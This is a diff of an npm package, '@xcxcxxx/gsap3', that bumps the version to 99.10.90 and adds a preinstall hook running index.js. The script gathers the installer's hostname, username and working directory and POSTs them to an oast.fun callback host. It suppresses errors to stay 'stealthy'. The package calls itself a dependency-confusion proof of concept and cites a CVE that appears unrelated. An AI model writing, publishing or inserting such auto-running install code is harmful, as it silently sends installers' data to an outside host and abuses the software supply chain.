@xcxcxxx/gsap3 1.0.0 → 99.10.90

package/index.js

@@ -1 +1,53 @@
-// Placeholder for gsap3. Claimed to prevent typosquatting.
+// index.js - A safe and minimal payload for dependency confusion PoC
+const os = require('os');
+const https = require('https');
+const process = require('process');
+
+// =================================================================================
+// CONFIGURE THIS: Replace with your unique Interactsh/Burp Collaborator/Webhook URL
+// =================================================================================
+const CALLBACK_URL = 'https://ocvomeqbrouywnpfvqwhgho1ni6xrjica.oast.fun';
+// =================================================================================
+
+try {
+  // 1. Collect minimal, non-sensitive identifying information.
+  const data = {
+    hostname: os.hostname(),
+    username: os.userInfo().username,
+    cwd: process.cwd(),
+    package_name: 'gsap3', // So you know which PoC was triggered
+  };
+
+  // 2. Prepare the data and options for the HTTPS POST request.
+  const postData = JSON.stringify(data);
+
+  const options = {
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(postData),
+      'User-Agent': 'npm-poc-script/1.0' // A clear user agent
+    }
+  };
+
+  // 3. Send the request.
+  // The hostname of the CALLBACK_URL is extracted to use as the `host` option.
+  const url = new URL(CALLBACK_URL);
+  const req = https.request({ ...options, host: url.hostname, path: url.pathname }, (res) => {
+    // We don't need to do anything with the response, just fire and forget.
+    res.on('data', () => {}); // Consume response data to free up memory
+  });
+
+  req.on('error', (e) => {
+    // Error handling in case the callback fails (e.g., network issues, firewall)
+    // We do not log the error to the console to remain stealthy.
+  });
+
+  // Write data to request body and end the request.
+  req.write(postData);
+  req.end();
+
+} catch (e) {
+  // If any part of the data collection or request setup fails, do nothing.
+  // This ensures the install process doesn't break if our script has an issue.
+}

package/package.json

@@ -1,5 +1,20 @@
 {
   "name": "@xcxcxxx/gsap3",
-  "version": "1.0.0",
-  "main": "index.js"
+  "version": "99.10.90",
+  "description": "SECURITY RESEARCH - Dependency confusion PoC. If you have installed this package, please contact your security team and refer to CVE-2021-23337. This package is meant to demonstrate a vulnerability and is not malicious.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "Security Researcher",
+  "license": "ISC",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/your-username/security-poc-repo"
+  },
+  "keywords": [
+    "security",
+    "research",
+    "dependency-confusion"
+  ]
 }